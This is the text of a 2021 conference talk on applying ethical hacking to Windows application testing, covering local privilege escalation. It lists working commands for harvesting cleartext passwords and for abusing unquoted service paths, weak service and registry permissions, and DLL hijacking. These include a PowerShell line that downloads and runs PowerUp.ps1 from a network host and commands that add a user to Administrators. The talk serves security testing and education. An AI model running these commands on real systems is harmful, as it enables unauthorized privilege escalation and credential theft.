V a s i l i y   B u r o v S a i n t - P e t e r s b u r g 1 6 - 1 7 . 0 4 . 2 0 2 1 A p p l y i n g   e t h i c a l   h a c k i n g   p r a c t i c e s   w h e n   t e s t i n g   W i n d o w s   a p p l i c a t i o n s
2 I n t r o C y b e r   A t t a c k   L i f e c y c l e L o c a l   P r i v i l e g e   E s c a l a t i o n   M e t h o d s C o n c l u s i o n A g e n d a
3 w h o a m i   / a l l >     I   t e s t   s o f t w a r e   f o r   1 8   y e a r s   >     S e n i o r   T e s t i n g   E n g i n e e r   a t   K a s p e r s k y   L a b >     W i n d o w s   S e c u r i t y   M a s t e r   b y   C Q U R E   A c a d e m y >     S I G M A   p r o j e c t   c o n t r i b u t o r >     O S C D   c o m m u n i t y   m e m b e r
4 - 1 0 0 %   p r o t e c t i o n   a g a i n s t   r a n s o m w a r e - P r o t e c t i n g   n e t w o r k   s h a r e d   f o l d e r s - E x p l o i t   p r o t e c t i o n - W o r k s   t o g e t h e r   w i t h   o t h e r   a n t i v i r u s e s - W o r k s   o n   W i n 7   S P 0   a n d   l a t e r - D e s k t o p   a n d   S e r v e r   O S   s u p p o r t - H o m e   a n d   B u s i n e s s   v e r s i o n s - C o m p l e t e l y   f r e e   K a s p e r s k y   A n t i - R a n s o m w a r e   T o o l
5 C y b e r   A t t a c k   L i f e c y c l e
6 L o c a l   P r i v i l e g e   E s c a l a t i o n - C l e a r - t e x t   p a s s w o r d s   i n   f i l e s   a n d   r e g i s t r y   - S e r v i c e   m i s c o n f i g u r a t i o n s - U n q u o t e d   p a t h s - V u l n e r a b l e   P r i v i l e g e s - I n s e c u r e   R e g i s t r y   P e r m i s s i o n s - I n s e c u r e   S e r v i c e   P e r m i s s i o n s - I n s e c u r e   F i l e / F o l d e r   P e r m i s s i o n s - D L L   H i j a c k i n g
7 P a s s w o r d s   i n   f i l e s   a n d   r e g i s t r y   f i n d s t r / M   / s i   p a s s w o r d   * . t x t   * . x m l   * . i n i   * . l o g   f i n d s t r / M   / s i   p a s s   * . t x t   * . x m l   * . i n i   * . l o g G e t - C h i l d I t e m - P a t h   c : \ - I n c l u d e   * . t x t , * . x m l , * . i n i , * . l o g   - F i l e   - R e c u r s e   - F o r c e   - E r r o r A c t i o n   S i l e n t l y C o n t i n u e   | S e l e c t - S t r i n g - P a t t e r n   p a s s w o r d - S i m p l e M a t c h   - E r r o r A c t i o n   S i l e n t l y C o n t i n u e   r e g q u e r y   H K L M   / f   p a s s w o r d   / t   R E G _ S Z   / s r e g q u e r y   H K C U   / f   p a s s w o r d   / t   R E G _ S Z   / s
8 U n q u o t e d   S e r v i c e   P a t h s C : \ P r o g r a m   F i l e s   ( x 8 6 ) \ P r o g r a m   F o l d e r \ A   S u b f o l d e r \ E x e c u t a b l e . e x e 1 . C : \ P r o g r a m . e x e 2 . C : \ P r o g r a m   F i l e s . e x e 3 . C : \ P r o g r a m   F i l e s   ( x 8 6 ) \ P r o g r a m . e x e 4 . C : \ P r o g r a m   F i l e s   ( x 8 6 ) \ P r o g r a m   F o l d e r \ A . e x e 5 . C : \ P r o g r a m   F i l e s   ( x 8 6 ) \ P r o g r a m   F o l d e r \ A   S u b f o l d e r \ E x e c u t a b l e . e x e
9 H o w   t o   f i n d w m i c s e r v i c e   g e t   n a m e , p a t h n a m e , s t a r t m o d e | f i n d s t r / i   / v   c : \ w i n d o w s \ \   | f i n d s t r / i   / v   G e t - W m i O b j e c t - c l a s s   W i n 3 2 _ S e r v i c e   - P r o p e r t y   N a m e , D i s p l a y N a m e , P a t h N a m e , S t a r t M o d e | W h e r e { $ _ . P a t h N a m e - n o t l i k e C : \ W i n d o w s * - a n d   $ _ . P a t h N a m e - n o t l i k e * } | s e l e c t P a t h N a m e , D i s p l a y N a m e , N a m e p o w e r s h e l l   - n o p   - e x e c   b y p a s s   - c   I E X ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( h t t p : / / 1 9 2 . 1 6 8 . 1 . 1 / P o w e r U p . p s 1 ) ;   G e t - S e r v i c e U n q u o t e d
1 0 H o w   t o   a b u s e i c a c l s C : \ P r o g r a m   F i l e s   ( x 8 6 )   i c a c l s C : \ P r o g r a m   F i l e s   ( x 8 6 ) \ P r o g r a m   F o l d e r   i c a c l s C : \ P r o g r a m   F i l e s   ( x 8 6 ) \ P r o g r a m   F o l d e r \ A   S u b f o l d e r c d C : \ P r o g r a m   F i l e s   ( x 8 6 ) \ P r o g r a m   F o l d e r \ A   S u b f o l d e r   c o p y \ \ 1 9 2 . 1 6 8 . 1 . 1 \ s h a r e d f o l d e r \ A . e x e   .   s c s t o p   V u l n e r a b l e   S e r v i c e   N a m e   s c s t a r t V u l n e r a b l e   S e r v i c e   N a m e
1 1 H o w   t o   a b u s e .   . \ P o w e r U p . p s 1 W r i t e - S e r v i c e B i n a r y - N a m e   < u n q u o t e d   s e r v i c e   n a m e > - P a t h   < v u l n e r a b l e   p a t h > - C o m m a n d   n e t   l o c a l g r o u p   A d m i n i s t r a t o r s   < u s e r n a m e   t o   a d d >   / a d d R e s t a r t - S e r v i c e - S e r v i c e N a m e   < u n q u o t e d   s e r v i c e   n a m e > - F o r c e
D e m o U n q u o t e d   S e r v i c e   P a t h s
1 3 S e r v i c e s :   I n s e c u r e   R e g i s t r y   P e r m i s s i o n s H K L M \ S Y S T E M \ C u r r e n t C o n t r o l S e t \ S e r v i c e s
1 4 H o w   t o   f i n d   a n d   a b u s e a c c e s s c h k . e x e - k u w   u s e r H K L M \ S Y S T E M \ C u r r e n t C o n t r o l S e t \ S e r v i c e s c o p y \ \ 1 9 2 . 1 6 8 . 1 . 1 \ s h a r e d f o l d e r \ p a y l o a d . e x e   C : \ U s e r s \ t e s t u s e r \ A p p D a t a \ L o c a l \ T e m p \ P a y l o a d . e x e   r e g a d d   H K E Y _ L O C A L _ M A C H I N E \ S Y S T E M \ C o n t r o l S e t \ S e r v i c e s \ T e s t S e r v i c e / t   R E G _ E X P A N D _ S Z   / v   I m a g e P a t h   / d   C : \ U s e r s \ t e s t u s e r \ A p p D a t a \ L o c a l \ T e m p \ P a y l o a d . e x e   / f   s c s t o p   T e s t S e r v i c e & s c s t a r t T e s t S e r v i c e
1 5 S e r v i c e s :   I n s e c u r e   S e r v i c e   P e r m i s s i o n s
1 6 H o w   t o   f i n d a c c e s s c h k . e x e - u w c q v   u s e r * P e r m i s s i o n G o o d F o r   U s ? S E R V I C E _ C H A N G E _ C O N F I G C a n   r e c o n f i g u r e   t h e   s e r v i c e b i n a r y W R I T E _ D A C C a n   r e c o n f i g u r e   p e r m i s s i o n s ,   l e a d i n g   t o   S E R V I C E _ C H A N G E _ C O N F I G W R I T E _ O W N E R C a n   b e c o m e   o w n e r ,   r e c o n f i g u r e p e r m i s s i o n s G E N E R I C _ W R I T E I n h e r i t s   S E R V I C E _ C H A N G E _ C O N F I G G E N E R I C _ A L L I n h e r i t s   S E R V I C E _ C H A N G E _ C O N F I G
1 7 H o w   t o   f i n d . . \ P o w e r U p . p s 1   G e t - M o d i f i a b l e S e r v i c e - V e r b o s e
1 8 H o w   t o   a b u s e s c c o n f i g   T e s t S e r v i c e   b i n p a t h =   n e t   l o c a l g r o u p   A d m i n i s t r a t o r s   t e s t u s e r   / a d d   s c c o n f i g   T e s t S e r v i c e   o b j =   . \ L o c a l S y s t e m   p a s s w o r d =     .   . \ P o w e r U p . p s 1 I n v o k e - S e r v i c e A b u s e - N a m e   T e s t S e r v i c e - С o m m a n d   n e t   l o c a l g r o u p   A d m i n i s t r a t o r s   t e s t u s e r   / a d d n e t s t o p   T e s t S e r v i c e   n e t s t a r t T e s t S e r v i c e
1 9 S e r v i c e s :   I n s e c u r e   F i l e / F o l d e r   P e r m i s s i o n s .   . \ P o w e r U p . p s 1 G e t - M o d i f i a b l e S e r v i c e F i l e - V e r b o s e I n s t a l l - S e r v i c e B i n a r y - N a m e   s e r v i c e   n a m e - C o m m a n d   n e t   l o c a l g r o u p   A d m i n i s t r a t o r s   u s e r   / a d d R e s t a r t - S e r v i c e - S e r v i c e N a m e   < s e r v i c e   n a m e > - F o r c e
D e m o I n s e c u r e   S e r v i c e   P e r m i s s i o n s
2 1 D L L   H i j a c k i n g
2 2 D L L   H i j a c k i n g
2 3 D L L   H i j a c k i n g
2 4 H o w   t o   f i n d   a n d   a b u s e S o ,   t o   e x p l o i t   t h i s   v u l n e r a b i l i t y   w e   w i l l   f o l l o w   t h i s   p a t h : 1 . C h e c k   w h e t h e r   t h e   D L L   t h a t   p r o c e s s   l o o k i n g   f o r   e x i s t s   i n   a n y   d i r e c t o r y   o n   t h e   d i s k . 2 . I f   i t   d o e s   n o t   e x i s t ,   p l a c e   t h e   m a l i c i o u s   c o p y   o f   D L L   t o   o n e   o f   t h e   d i r e c t o r i e s   t h a t   I   m e n t i o n e d   a b o v e .   W h e n   p r o c e s s   e x e c u t e d ,   i t   w i l l   f i n d   a n d   l o a d   m a l i c i o u s   D L L . 3 . I f   t h e   D L L   f i l e   a l r e a d y   e x i s t s   i n   a n y   o f   t h e s e   p a t h s ,   t r y   t o   p l a c e   m a l i c i o u s   D L L   t o   a   d i r e c t o r y   w i t h   a   h i g h e r   p r i o r i t y   t h a n   t h e   d i r e c t o r y   w h e r e   t h e   o r i g i n a l   D L L   f i l e   e x i s t s .
2 5 H o w   t o   f i n d   a n d   a b u s e M o d i f y   e x i s t i n g   D L L   t o   a d d   c a l l   o f   o u r   m a l i c i o u s   D L L b i n j e c t . e x e - i s o m e . d l l   - m   a d d u s e r . d l l   - o   c : \ t e s t \ s o m e . d l l P l a c e   b o t h   D L L s   i n   s e a r c h   o r d e r   f o l d e r c o p y c : \ t e s t \ s o m e . d l l   < s e a r c h   o r d e r p a t h > c o p y c : \ t e s t \ a d d u s e r . d l l   < s e a r c h   o r d e r p a t h > R u n   P r o c e s s   M o n i t o r   w i t h   f i l t e r s
D e m o D L L   H i j a c k i n g
2 7 O n e   R i n g   t o   r u l e   t h e m   a l l . . \ P o w e r U p . p s 1 I n v o k e - A l l C h e c k s
2 8 C o n c l u s i o n T h r e e   t y p e s   o f   v u l n e r a b i l i t i e s - D e s i g n - I m p l e m e n t a t i o n - C o n f i g u r a t i o n
T h a n k   y o u !   V a s i l i y   B u r o v S e n i o r   T e s t i n g   E n g i n e e r v a s e b u r @ g m a i l . c o m